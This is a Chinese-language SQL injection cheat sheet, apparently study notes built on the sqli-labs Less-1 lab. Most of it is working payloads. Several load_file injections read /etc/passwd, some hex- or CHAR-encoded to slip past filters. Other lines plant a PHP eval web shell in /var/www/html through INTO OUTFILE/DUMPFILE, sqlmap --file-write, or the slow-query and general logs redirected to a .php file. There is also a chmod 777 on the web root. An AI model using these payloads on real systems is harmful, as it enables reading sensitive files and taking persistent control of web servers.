SQL注入之读文件与写马
load_file读文件
以less-1为例:
?id=-1' union select 1,2,load_file("/etc/passwd") --+ √
?id=-1' union select 1,2,load_file(0x2f6574632f706173737764) --+ √
?id=-1' union select 1,2,load_file(CHAR(47, 101, 116, 99, 47, 112, 97, 115, 115, 119, 100)) --+ √
?id=-1' union select 1,2,hex(load_file("/etc/passwd")) --+ √
写马
既然是写马,那就应该在该目录下有写的权限了:
chmod -R 777 /var/www/html
一般写马
要求:
- 全局变量secure_file_priv的值为空:
show variables like '%secure%'; 查看 secure-file-priv 当前的值,如果显示为NULL,则需要打开
网站目录具有写入权限
数据库连接用户拥有FILE权限
show grants for root@localhost;
知道网站根目录
一般情况下如果当前数据库用户身份是root的话就可以尝试这种写马方式了,可通过select user();
或 select @@user
得知。
select...into outfile...和dumpfile
https://www.cnblogs.com/lcamry/p/5504204.html
?id=0' union select 1,2,"<?php @eval($_POST['s']); ?>" into outfile "/var/www/html/test.php" --+
# 也可以使用16进制:
?id=0' union select 1,2,0x3c3f70687020406576616c28245f504f53545b2773275d293b203f3e into outfile "/var/www/html/shell.php" --+
# 也可以不用outfile而用dumpfile
?id=0' union select 1,2,0x3c3f70687020406576616c28245f504f53545b2773275d293b203f3e into dumpfile "/var/www/html/sql1.php" --+
1' into outfile '/var/www/html/shell.php' FIELDS TERMINATED BY '<?php phpinfo();?>'--+
sqlmap写马:
sqlmap -u http://192.168.40.1:8081/sqli-labs-master/Less-1/?id=1 --file-write="phpinfo.php" --file-dest="/var/www/html/phpinfo.php" -v 3
outfile和dumpfile的区别:
在MySQL中outfile和dumpfile函数都是用来写入(输出)文件的,它们的功能相似但存在差异
outfile可以输出多行内容,而dumpfile只输出一行内容
outfile会破坏文件原有的数据格式,如(\n会变成\)
所以如果想保持原数据格式进行输出的话,就需要用dumpfile代替outfile
慢日志查询√
set global slow_query_log=1 # 启动慢日志日志(默认禁用)
set global slow_query_log_file='<网站根目录>/hacker.php' # 修改日志文件的绝对路径和文件名
select '<?php eval($_REQUESTE[_];?>' or sleep(11);
用蚁剑连接
只有当查询语句执行的时间要超过系统默认时间时,该语句才会被记入日志
show global variables like '%long_query_time%'; #查询默认时间,一般是10秒
全局查询日志(general log)√
适用于into outfile被禁止或写入文件被拦截的情况
MySQL5.0以上会创建日志文件,可以通过修改日志的全局变量来getshell
show variables like '%general%'; #查看配置
set global general_log=on; # 默认关闭,开启后记录用户输入的每条命令
set global general_log_file='/var/www/html/1.php'; #设置日志地址,注意后缀是php
select '<?php eval($_REQUEST[_]);?>';